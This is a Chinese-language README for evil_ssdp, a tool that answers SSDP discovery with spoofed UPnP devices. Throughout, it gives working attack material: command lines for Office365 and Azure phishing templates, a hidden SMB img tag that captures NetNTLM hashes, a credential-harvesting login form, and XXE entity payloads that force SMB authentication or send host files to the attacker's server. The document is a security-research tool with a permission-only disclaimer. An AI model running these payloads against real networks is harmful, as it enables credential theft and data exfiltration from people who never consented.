该工具响应SSDP多播发现请求,伪装成通用UPNP设备。您伪造的设备将神奇地出现在本地网络机器的Windows资源管理器中。被引诱打开设备的用户将看到一个可配置的钓鱼页面。该页面可以通过SMB加载隐藏图像,使您能够捕获或中继NetNTLM挑战/响应。
还提供了模板,用于通过基本身份验证和登录表单捕获明文凭据,且创建自定义模板快速简单。
它不需要现有凭据即可执行,甚至可以在通过禁用NETBIOS和LLMNR来防御Responder攻击的网络上工作。任何使用SSDP/UPNP的操作系统或应用程序都可能成为目标,但当前大部分武器化主要针对Windows 10。
此外,该工具还可以检测并利用使用SSDP/UPNP的应用程序中XML解析引擎的潜在零日漏洞。如果发现易受攻击的设备,它会在UI中警告您,然后通过XML外部实体(XXE)攻击,无需用户交互即可挂载您的SMB共享或窃取数据。
最基本的运行方式如下:
evil_ssdp.py eth0
至少需要提供网络接口。该接口既用于UDP SSDP交互,也用于托管XML文件和钓鱼页面的Web服务器。
该工具将使用您提供的接口IP自动更新钓鱼页面中的IMG标签。要使用挑战/响应,您需要在该接口上启动SMB服务器(如Impacket)。该地址可通过-s选项自定义。
一些示例场景:
# Use wlan0 for device advertisement and phishing, capturing NetNTLM and
# asking for clear-text via a spoofed Office365 logon form. Redirect to
# Microsoft aftering capturing credentials:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'
# Same as above, but assuming your SMB server is running on another IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
-s 192.168.1.205
# Prompt for creds using basic auth and redirect to Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
'https://azure.microsoft.com/auth/signin/' -b
# Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running
on wlan0:
evil_ssdp.py wlan0 -t xxe-smb
完整用法详情:
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
[-u URL]
interface
positional arguments:
interface Network interface to listen on.
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT Port for HTTP server. Defaults to 8888.
-t TEMPLATE, --template TEMPLATE
Name of a folder in the templates directory. Defaults
to "office365". This will determine xml and phishing
pages used.
-s SMB, --smb SMB IP address of your SMB server. Defalts to the primary
address of the "interface" provided.
-b, --basic Enable base64 authentication for templates and write
credentials to log file.
-r REALM, --realm REALM
Realm when prompting target for authentication via
Basic Auth.
-u URL, --url URL Redirect to this URL. Works with templates that do a
POST for logon forms and with templates that include
the custom redirect JavaScript (see README for more
info).[example: -r https://google.com]
-a, --analyze Run in analyze mode. Will NOT respond to any SSDP
queries, but will still enable and run the web server
for testing.
该工具附带以下模板。如果您有良好的设计技能,请贡献您自己的模板!
office365: 将在Windows资源管理器中显示为"Office365 Backups"。钓鱼页面看起来像Office365登录页面,将通过POST方式将凭据发送给您。这些将在UI中标出并记录在日志文件中。建议使用-u https://www.office.com选项,以便在窃取凭据后将用户重定向到合法网站。开发者:pentestgeek。scanner: 将在Windows资源管理器中显示为"Corporate Scanner [3 NEW SCANS WAITING]"(企业扫描仪 [3个新扫描待处理])。双击将打开一个外观通用的登录页面。此模板最好根据特定目标进行定制。模板大部分复制自此模板。microsoft-azure: 将在Windows资源管理器中显示为"Microsoft Azure Storage"。着陆页面是禁用Cookie时的Windows Live登录页面。建议使用-u选项将用户重定向到真实登录页面。开发者:Dwight Hohnstein。bitcoin: 将在Windows资源管理器中显示为"Bitcoin Wallet"。钓鱼页面只是一组随机的比特币私钥/公钥/地址信息。这些账户中没有实际资金。password-vault: 将在Windows资源管理器中显示为"IT Password Vault"。钓鱼页面包含一小组虚假密码/SSH密钥等。xxe-smb: 可能不会在Windows资源管理器中显示。用于发现XML解析器中的零日漏洞。命中时将在UI中触发"XXE - VULN"警报,并尝试强制客户端向SMB服务器进行身份验证,无需任何交互。xxe-exfil: 另一个搜索XXE漏洞的示例,但这次尝试从Windows主机窃取测试文件。当然,您可以自定义它来查找您想要的任何特定文件,无论是Windows还是Linux。在我发现的易受攻击的应用程序中,只有不包含空格或换行符的文件才能成功窃取。这是因为文件被注入到GET请求的URL中。如果您在多行文件上实现了这一点,请务必告诉我您是如何做到的。创建自己的模板很简单。只需复制现有模板的文件夹并编辑以下文件:
device.xml: 在此文件中定义设备在Windows资源管理器中的外观。present.html: 这是用户打开恶意设备时显示的钓鱼页面。您可以在此处创建任何内容。请注意,Python的字符串模板会解析此文件,因此在使用$的任何位置需要用$$来转义模板引擎。service.xml: 尚未实现。未来可能需要用于更复杂的UPNP欺骗。在您的钓鱼页面(present.html)中,使用如下变量以获得额外功能:
# The following line will initiate a NetNTLM challenge/response using the IP
# address of either the interface you provide or an optionally specified IP
# address:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />
# The following will leverage optionally specified URL redirection. This is
# handy when used with basic authentication to redirect to a valid site. This
# line is built in to the microsoft-azure template:
<script>
var url = "$redirectUrl";
if (url != "") {
document.location = url;
}
</script>
# If using an HTTP form to capture clear-text credentials, use code like the
# following. Also any template doing a POST request will automatically
# support the '-u' parameter to redirect after the POST completes. The tool
# will monitor POSTs to this URL for credentials:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">
该工具目前仅为UPNP“Basic”设备类型正确创建设备,尽管它会响应所有设备类型的SSDP查询。如果您熟悉UPNP,也可以使用正确的参数创建新模板以满足其他设备类型的请求。在利用特定应用程序及其期望和使用UPNP设备的方式方面,这里仍有很多待探索之处。
简单服务发现协议(SSDP)被操作系统(Windows、macOS、Linux、iOS、Android等)和应用程序(Spotify、YouTube等)用于发现本地网络上的共享设备。它是发现和通告通用即插即用(UPNP)设备的基础。
试图发现共享网络资源的设备会向239.255.255.250:1900发送UDP多播。源端口是随机化的。示例请求如下:
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3
要与该主机交互,我们需要捕获源端口和'ST'(服务类型)头。响应必须发送到正确的源端口,并且应该包含正确的ST头。请注意,不仅仅是Windows操作系统在搜寻设备——扫描典型网络会看到来自操作系统内应用程序(如Spotify)、移动电话和其他媒体设备的大量请求。Windows只有在你使用正确的ST进行回复时才会配合,其他来源则更宽松。
evil_ssdp会提取请求的ST并发送如下响应:
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1
头部(特别是LOCATION、01-NLS、ST和USN)是动态构建的。这告诉请求者在哪里可以找到关于我们设备的更多信息。这里,我们强制Windows(和其他请求者)访问并解析我们的“设备描述符”XML文件。USN只是一个随机字符串,只需要唯一且格式正确。
evil_ssdp会从选定的模板文件夹中读取device.xml文件,并动态插入一些变量,例如您的IP地址。这个“设备描述符”文件是您可以自定义一些听起来诱人的友好名称和描述的地方。它看起来像这样:
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
<specVersion>
<major>1</major>
<minor>0</minor>
</specVersion>
<URLBase>http://$local_ip:$local_port</URLBase>
<device>
<presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>Office365 Backups</friendlyName>
<modelDescription>Secure Storage for Office365</modelDescription>
<manufacturer>MS Office</manufacturer>
<modelName>Office 365 Backups</modelName>
<UDN>$session_usn</UDN>
<serviceList>
<service>
<serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
<serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
<controlURL>/ssdp/service-desc.xml</controlURL>
<eventSubURL>/ssdp/service-desc.xml</eventSubURL>
<SCPDURL>/ssdp/service-desc.xml</SCPDURL>
</service>
</serviceList>
</device>
</root>
该文件中的关键行包含“Presentation URL”。如果用户决定手动双击UPNP设备,该URL将加载到用户的浏览器中。evil_ssdp会自动托管此文件(来自所选模板文件夹的present.html),将您的源IP地址插入IMG标签中,以便访问您可以使用Impacket、Responder或Metasploit等工具托管的SMB共享。
IMG标签如下所示:
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>
默认情况下,该工具实质上是强制网络上的设备解析一个XML文件。针对解析XML的应用程序存在一种众所周知的攻击——XML外部实体处理(XXE)。
这种针对UPNP设备的攻击很可能被忽视——仅仅因为攻击方法复杂且不易察觉。然而,evil_ssdp使得在您的网络上测试易受攻击的设备变得非常容易。只需运行工具,并在输出中查找醒目的[XXE VULN!!!]即可。注意:使用xxe模板通常不会在局域网中产生可见的恶意设备,它仅用于零交互场景。
这是通过提供包含以下内容的设备描述符XML文件来实现的:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>
当易受攻击的XML解析器读取此文件时,它将自动挂载SMB共享(允许您破解哈希或进行中继),并访问一个HTTP URL以通知您已被发现。通知将包含HTTP头部和IP地址,这应该能让您获得关于易受攻击应用程序的一些信息。如果您看到此情况,请务必联系供应商修复问题。此外,我非常希望能了解您使用本工具发现的任何零日漏洞。也请在您的CVE中提及本工具。
同时也感谢微软开发了许多有趣的不安全的东西供我们玩耍。
这是一款安全研究工具。仅在获得网络所有者明确许可的情况下使用。